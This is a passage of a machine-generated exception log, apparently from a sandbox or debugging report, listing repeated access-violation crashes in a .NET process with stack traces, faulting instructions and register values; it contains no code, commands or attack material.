__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa7aa868 0xa7ad73b 0xa7acce6 0xa7a39e1 0x21ed9ff 0x21e7855 0x21e6f0b 0x21e3c6b 0x21e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72cc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72cd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72cd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72d874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72d87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72e11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72e11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72e11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72e1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa7aa8ab registers.esp: 34467156 registers.edi: 34467420 registers.eax: 0 registers.ebp: 34467164 registers.edx: 0 registers.ebx: 34469252 registers.esi: 41935540 registers.ecx: 41942516	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0x24bd391 0x24bd193 0x24b7710 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x24bd4c8 registers.esp: 33812388 registers.edi: 33812440 registers.eax: 0 registers.ebp: 33812452 registers.edx: 8863904 registers.ebx: 33813892 registers.esi: 41892736 registers.ecx: 0	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa916234 0xa915aca 0xa91599d 0xa914253 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810916 registers.edi: 33811260 registers.eax: 0 registers.ebp: 33810924 registers.edx: 0 registers.ebx: 33813892 registers.esi: 42682608 registers.ecx: 43809084	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa916234 0xa915aca 0xa9159b5 0xa914253 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810916 registers.edi: 33811260 registers.eax: 0 registers.ebp: 33810924 registers.edx: 0 registers.ebx: 33813892 registers.esi: 42682608 registers.ecx: 45113776	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa916234 0xa915aca 0xa9159b5 0xa914253 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810916 registers.edi: 33811260 registers.eax: 0 registers.ebp: 33810924 registers.edx: 0 registers.ebx: 33813892 registers.esi: 42682608 registers.ecx: 42576696	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa91add6 0xa91a691 0xa91599d 0xa91453c 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810892 registers.edi: 33811284 registers.eax: 0 registers.ebp: 33810900 registers.edx: 0 registers.ebx: 33813892 registers.esi: 41482044 registers.ecx: 43885536	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa91add6 0xa91a691 0xa9159b5 0xa91453c 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810892 registers.edi: 33811284 registers.eax: 0 registers.ebp: 33810900 registers.edx: 0 registers.ebx: 33813892 registers.esi: 41482044 registers.ecx: 45232288	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa91add6 0xa91a691 0xa9159b5 0xa91453c 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810892 registers.edi: 33811284 registers.eax: 0 registers.ebp: 33810900 registers.edx: 0 registers.ebx: 33813892 registers.esi: 41482044 registers.ecx: 46625288	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa91b702 0xa91b0a9 0xa91599d 0xa914654 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810944 registers.edi: 33811284 registers.eax: 0 registers.ebp: 33810952 registers.edx: 0 registers.ebx: 33813892 registers.esi: 41482044 registers.ecx: 41739988	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa91b702 0xa91b0a9 0xa9159b5 0xa914654 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810944 registers.edi: 33811284 registers.eax: 0 registers.ebp: 33810952 registers.edx: 0 registers.ebx: 33813892 registers.esi: 41481984 registers.ecx: 43133912	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa91b702 0xa91b0a9 0xa9159b5 0xa914654 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810944 registers.edi: 33811284 registers.eax: 0 registers.ebp: 33810952 registers.edx: 0 registers.ebx: 33813892 registers.esi: 41481984 registers.ecx: 44527560	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa91be14 0xa91b871 0xa91599d 0xa91475a 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810976 registers.edi: 33811284 registers.eax: 0 registers.ebp: 33810984 registers.edx: 0 registers.ebx: 33813892 registers.esi: 41481984 registers.ecx: 45921344	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa91be14 0xa91b871 0xa9159b5 0xa91475a 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810976 registers.edi: 33811284 registers.eax: 0 registers.ebp: 33810984 registers.edx: 0 registers.ebx: 33813892 registers.esi: 41481984 registers.ecx: 42734912	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa91be14 0xa91b871 0xa9159b5 0xa91475a 0xa9133e9 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa91a30b registers.esp: 33810976 registers.edi: 33811284 registers.eax: 0 registers.ebp: 33810984 registers.edx: 0 registers.ebx: 33813892 registers.esi: 41481984 registers.ecx: 44131184	1
__exception__ June 26, 2023, 7:43 a.m.	stacktrace: 0xa91a2c8 0xa91d19b 0xa91c746 0xa913441 0x24bd9ff 0x24b7855 0x24b6f0b 0x24b3c6b 0x24b35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72622652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7263264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72632e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x726e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72771dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72771e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72771f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7277416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f 